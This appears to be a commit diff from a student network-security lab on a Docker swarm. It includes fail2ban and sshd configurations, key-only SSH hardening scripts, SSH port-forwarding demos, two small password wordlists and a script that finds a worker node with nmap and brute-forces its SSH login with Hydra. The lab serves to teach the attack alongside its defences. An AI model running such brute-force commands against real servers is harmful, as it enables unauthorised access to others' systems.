# logs to a syslog server which would then write them to disk. |
|||
# See "haproxy-http-auth" filter for a brief cautionary note when setting |
|||
# maxretry and findtime. |
|||
logpath = /var/log/haproxy.log |
|||
|
|||
[slapd] |
|||
port = ldap,ldaps |
|||
logpath = /var/log/slapd.log |
|||
|
|||
[domino-smtp] |
|||
port = smtp,ssmtp |
|||
logpath = /home/domino01/data/IBM_TECHNICAL_SUPPORT/console.log |
|||
|
|||
[phpmyadmin-syslog] |
|||
port = http,https |
|||
logpath = %(syslog_authpriv)s |
|||
backend = %(syslog_backend)s |
|||
|
|||
|
|||
[zoneminder] |
|||
# Zoneminder HTTP/HTTPS web interface auth |
|||
# Logs auth failures to apache2 error log |
|||
port = http,https |
|||
logpath = %(apache_error_log)s |
|||
|
@ -0,0 +1,31 @@ |
|||
giwrgos |
|||
panos |
|||
vasoula |
|||
mpanana |
|||
mpampis |
|||
fasolakia |
|||
giwrgos |
|||
panos |
|||
vasoula |
|||
mpanana |
|||
mpampis |
|||
fasolakia |
|||
giwrgos |
|||
panos |
|||
vasoula |
|||
mpanana |
|||
mpampis |
|||
fasolakia |
|||
giwrgos |
|||
panos |
|||
vasoula |
|||
mpanana |
|||
mpampis |
|||
fasolakia |
|||
giwrgos |
|||
panos |
|||
vasoula |
|||
mpanana |
|||
mpampis |
|||
fasolakia |
|||
docker |
@ -0,0 +1,9 @@ |
|||
giwrgos |
|||
mpampis |
|||
soula |
|||
voula |
|||
tsoula |
|||
mple |
|||
prasino |
|||
pink |
|||
ping |
@ -0,0 +1,13 @@ |
|||
sudo apt update |
|||
sudo apt upgrade -y |
|||
sudo apt install hydra -y |
|||
clear |
|||
echo "SSH brute force attack with Hydra" |
|||
network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') |
|||
worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') |
|||
echo "Swarm network is " $network |
|||
echo "Starting attack with right dictionary to worker 1 with the IP address: " $worker1IP |
|||
hydra -l docker -P lexikoright $worker1IP -t 4 ssh |
|||
printf "\n\n\n" |
|||
echo "Starting attack with wrong dictionary to worker 1 with the IP address: " $worker1IP |
|||
hydra -l docker -P lexikowrong $worker1IP -t 4 ssh |
@ -0,0 +1,14 @@ |
|||
clear |
|||
echo "Applying SSH Configuration to allow only keys" |
|||
network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') |
|||
worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') |
|||
ssh-keygen -t rsa |
|||
#(path kai kwdiko enter+enter) |
|||
ssh-copy-id docker@$worker1IP |
|||
ssh docker@$worker1IP |
|||
bash |
|||
sudo cp /project/sshdconfrsa /etc/ssh/sshd_config |
|||
sudo service ssh restart |
|||
exit |
|||
exit |
|||
echo "Configuration Finished!" |
@ -0,0 +1,122 @@ |
|||
# $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $ |
|||
|
|||
# This is the sshd server system-wide configuration file. See |
|||
# sshd_config(5) for more information. |
|||
|
|||
# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin |
|||
|
|||
# The strategy used for options in the default sshd_config shipped with |
|||
# OpenSSH is to specify options with their default value where |
|||
# possible, but leave them commented. Uncommented options override the |
|||
# default value. |
|||
|
|||
#Port 22 |
|||
#AddressFamily any |
|||
#ListenAddress 0.0.0.0 |
|||
#ListenAddress :: |
|||
|
|||
#HostKey /etc/ssh/ssh_host_rsa_key |
|||
#HostKey /etc/ssh/ssh_host_ecdsa_key |
|||
#HostKey /etc/ssh/ssh_host_ed25519_key |
|||
|
|||
# Ciphers and keying |
|||
#RekeyLimit default none |
|||
|
|||
# Logging |
|||
SyslogFacility AUTH |
|||
LogLevel INFO |
|||
|
|||
# Authentication: |
|||
|
|||
#LoginGraceTime 2m |
|||
#PermitRootLogin yes |
|||
#StrictModes yes |
|||
#MaxAuthTries 6 |
|||
#MaxSessions 10 |
|||
|
|||
#PubkeyAuthentication yes |
|||
|
|||
# Expect .ssh/authorized_keys2 to be disregarded by default in future. |
|||
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 |
|||
|
|||
#AuthorizedPrincipalsFile none |
|||
|
|||
#AuthorizedKeysCommand none |
|||
#AuthorizedKeysCommandUser nobody |
|||
|
|||
# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts |
|||
#HostbasedAuthentication no |
|||
# Change to yes if you don't trust ~/.ssh/known_hosts for |
|||
# HostbasedAuthentication |
|||
#IgnoreUserKnownHosts no |
|||
# Don't read the user's ~/.rhosts and ~/.shosts files |
|||
#IgnoreRhosts yes |
|||
|
|||
# To disable tunneled clear text passwords, change to no here! |
|||
PasswordAuthentication no |
|||
#PermitEmptyPasswords no |
|||
|
|||
# Change to yes to enable challenge-response passwords (beware issues with |
|||
# some PAM modules and threads) |
|||
ChallengeResponseAuthentication no |
|||
|
|||
# Kerberos options |
|||
#KerberosAuthentication no |
|||
#KerberosOrLocalPasswd yes |
|||
#KerberosTicketCleanup yes |
|||
#KerberosGetAFSToken no |
|||
|
|||
# GSSAPI options |
|||
#GSSAPIAuthentication no |
|||
#GSSAPICleanupCredentials yes |
|||
#GSSAPIStrictAcceptorCheck yes |
|||
#GSSAPIKeyExchange no |
|||
|
|||
# Set this to 'yes' to enable PAM authentication, account processing, |
|||
# and session processing. If this is enabled, PAM authentication will |
|||
# be allowed through the ChallengeResponseAuthentication and |
|||
# PasswordAuthentication. Depending on your PAM configuration, |
|||
# PAM authentication via ChallengeResponseAuthentication may bypass |
|||
# the setting of "PermitRootLogin without-password". |
|||
# If you just want the PAM account and session checks to run without |
|||
# PAM authentication, then enable this but set PasswordAuthentication |
|||
# and ChallengeResponseAuthentication to 'no'. |
|||
UsePAM yes |
|||
|
|||
#AllowAgentForwarding yes |
|||
AllowTcpForwarding yes |
|||
#GatewayPorts no |
|||
X11Forwarding yes |
|||
#X11DisplayOffset 10 |
|||
#X11UseLocalhost yes |
|||
#PermitTTY yes |
|||
PrintMotd no |
|||
#PrintLastLog yes |
|||
#TCPKeepAlive yes |
|||
#UseLogin no |
|||
#PermitUserEnvironment no |
|||
#Compression delayed |
|||
#ClientAliveInterval 0 |
|||
#ClientAliveCountMax 3 |
|||
#UseDNS no |
|||
#PidFile /var/run/sshd.pid |
|||
#MaxStartups 10:30:100 |
|||
#PermitTunnel no |
|||
#ChrootDirectory none |
|||
#VersionAddendum none |
|||
|
|||
# no default banner path |
|||
#Banner none |
|||
|
|||
# Allow client to pass locale environment variables |
|||
AcceptEnv LANG LC_* |
|||
|
|||
# override default of no subsystems |
|||
Subsystem sftp /usr/lib/openssh/sftp-server |
|||
|
|||
# Example of overriding settings on a per-user basis |
|||
#Match User anoncvs |
|||
# X11Forwarding no |
|||
# AllowTcpForwarding no |
|||
# PermitTTY no |
|||
# ForceCommand cvs server |
@ -0,0 +1,122 @@ |
|||
# $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $ |
|||
|
|||
# This is the sshd server system-wide configuration file. See |
|||
# sshd_config(5) for more information. |
|||
|
|||
# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin |
|||
|
|||
# The strategy used for options in the default sshd_config shipped with |
|||
# OpenSSH is to specify options with their default value where |
|||
# possible, but leave them commented. Uncommented options override the |
|||
# default value. |
|||
|
|||
#Port 22 |
|||
#AddressFamily any |
|||
#ListenAddress 0.0.0.0 |
|||
#ListenAddress :: |
|||
|
|||
#HostKey /etc/ssh/ssh_host_rsa_key |
|||
#HostKey /etc/ssh/ssh_host_ecdsa_key |
|||
#HostKey /etc/ssh/ssh_host_ed25519_key |
|||
|
|||
# Ciphers and keying |
|||
#RekeyLimit default none |
|||
|
|||
# Logging |
|||
SyslogFacility AUTH |
|||
LogLevel INFO |
|||
|
|||
# Authentication: |
|||
|
|||
#LoginGraceTime 2m |
|||
#PermitRootLogin yes |
|||
#StrictModes yes |
|||
#MaxAuthTries 6 |
|||
#MaxSessions 10 |
|||
|
|||
#PubkeyAuthentication yes |
|||
|
|||
# Expect .ssh/authorized_keys2 to be disregarded by default in future. |
|||
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 |
|||
|
|||
#AuthorizedPrincipalsFile none |
|||
|
|||
#AuthorizedKeysCommand none |
|||
#AuthorizedKeysCommandUser nobody |
|||
|
|||
# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts |
|||
#HostbasedAuthentication no |
|||
# Change to yes if you don't trust ~/.ssh/known_hosts for |
|||
# HostbasedAuthentication |
|||
#IgnoreUserKnownHosts no |
|||
# Don't read the user's ~/.rhosts and ~/.shosts files |
|||
#IgnoreRhosts yes |
|||
|
|||
# To disable tunneled clear text passwords, change to no here! |
|||
#PasswordAuthentication yes |
|||
#PermitEmptyPasswords no |
|||
|
|||
# Change to yes to enable challenge-response passwords (beware issues with |
|||
# some PAM modules and threads) |
|||
ChallengeResponseAuthentication no |
|||
|
|||
# Kerberos options |
|||
#KerberosAuthentication no |
|||
#KerberosOrLocalPasswd yes |
|||
#KerberosTicketCleanup yes |
|||
#KerberosGetAFSToken no |
|||
|
|||
# GSSAPI options |
|||
#GSSAPIAuthentication no |
|||
#GSSAPICleanupCredentials yes |
|||
#GSSAPIStrictAcceptorCheck yes |
|||
#GSSAPIKeyExchange no |
|||
|
|||
# Set this to 'yes' to enable PAM authentication, account processing, |
|||
# and session processing. If this is enabled, PAM authentication will |
|||
# be allowed through the ChallengeResponseAuthentication and |
|||
# PasswordAuthentication. Depending on your PAM configuration, |
|||
# PAM authentication via ChallengeResponseAuthentication may bypass |
|||
# the setting of "PermitRootLogin without-password". |
|||
# If you just want the PAM account and session checks to run without |
|||
# PAM authentication, then enable this but set PasswordAuthentication |
|||
# and ChallengeResponseAuthentication to 'no'. |
|||
UsePAM yes |
|||
|
|||
#AllowAgentForwarding yes |
|||
#AllowTcpForwarding yes |
|||
#GatewayPorts no |
|||
X11Forwarding yes |
|||
#X11DisplayOffset 10 |
|||
#X11UseLocalhost yes |
|||
#PermitTTY yes |
|||
PrintMotd no |
|||
#PrintLastLog yes |
|||
#TCPKeepAlive yes |
|||
#UseLogin no |
|||
#PermitUserEnvironment no |
|||
#Compression delayed |
|||
#ClientAliveInterval 0 |
|||
#ClientAliveCountMax 3 |
|||
#UseDNS no |
|||
#PidFile /var/run/sshd.pid |
|||
#MaxStartups 10:30:100 |
|||
#PermitTunnel no |
|||
#ChrootDirectory none |
|||
#VersionAddendum none |
|||
|
|||
# no default banner path |
|||
#Banner none |
|||
|
|||
# Allow client to pass locale environment variables |
|||
AcceptEnv LANG LC_* |
|||
|
|||
# override default of no subsystems |
|||
Subsystem sftp /usr/lib/openssh/sftp-server |
|||
|
|||
# Example of overriding settings on a per-user basis |
|||
#Match User anoncvs |
|||
# X11Forwarding no |
|||
# AllowTcpForwarding no |
|||
# PermitTTY no |
|||
# ForceCommand cvs server |
@ -0,0 +1,13 @@ |
|||
sudo apt update |
|||
sudo apt upgrade -y |
|||
sudo apt-get install fail2ban -y |
|||
sudo apt install rsyslog -y |
|||
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local |
|||
sudo cp "/project/ssh brute force attack/fail2bansshconf" /etc/fail2ban/jail.local |
|||
sudo cp "/project/ssh brute force attack/sshdconf" /etc/ssh/sshd_config |
|||
sudo service ssh restart |
|||
sudo service rsyslog restart |
|||
sudo service fail2ban restart |
|||
#sudo cat /var/log/auth.log |
|||
sudo fail2ban-client status sshd |
|||
|
@ -0,0 +1,6 @@ |
|||
sudo apt update |
|||
sudo apt upgrade -y |
|||
sudo apt-get install apache2 -y |
|||
sudo apt-get install lynx -y |
|||
sudo service apache2 start |
|||
|
@ -0,0 +1,13 @@ |
|||
sudo apt update |
|||
sudo apt upgrade -y |
|||
# Installing a terminal browser |
|||
sudo apt-get install lynx -y |
|||
# Finding out the worker1IP |
|||
network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') |
|||
worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') |
|||
# Local Forwarding |
|||
#connecting via ssh to worker1 and asking to forward |
|||
#the service (apache) from his 80 port to master's 5000 port |
|||
ssh docker@$worker1IP -L 5000:$worker1IP:80 |
|||
#after that if we login to master node in a NEW TAB and lynx localhost:5000 |
|||
#we' ll see the worker's1 service accessible inside the master node |
@ -0,0 +1,13 @@ |
|||
sudo apt update |
|||
sudo apt upgrade -y |
|||
# Installing a terminal browser |
|||
sudo apt-get install lynx -y |
|||
# Finding out the masterIP |
|||
network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') |
|||
masterIP=$(nmap -sP $network | grep master | awk '{print $NF}' | tr -d '()') |
|||
# Giving access to the remote host (master node)via an ssh connection |
|||
#(docker@172.19.0.2) to a service running in our (worker's 1) port 80 |
|||
#and forwarding it to the remote's host (master node) port 5002 |
|||
ssh -R 5002:localhost:80 docker@$masterIP |
|||
#now if we lynx localhost:5002 inside the master node |
|||
#we' ll see the worker's1 service accessible inside the master node |
@ -0,0 +1,21 @@ |
|||
Ssh_Forwarding_Worker_ServiceStart |
|||
[![asciicast](https://asciinema.org/a/386187.svg)](https://asciinema.org/a/386187) |
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
Ssh_Forwarding_Master_LocalForwarding |
|||
[![asciicast](https://asciinema.org/a/386189.svg)](https://asciinema.org/a/386189) |
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
Ssh_Forwarding_Worker_RemoteForwarding |
|||
[![asciicast](https://asciinema.org/a/386190.svg)](https://asciinema.org/a/386190) |
@ -0,0 +1 @@ |
|||
~/Asfaleia_Diktiwn/swarmlab-sec/install/usr/share/swarmlab.io/sec/swarmlab-sec login |
@ -0,0 +1,3 @@ |
|||
network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') |
|||
worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') |
|||
ssh docker@$worker1IP |
Loading…
Reference in new issue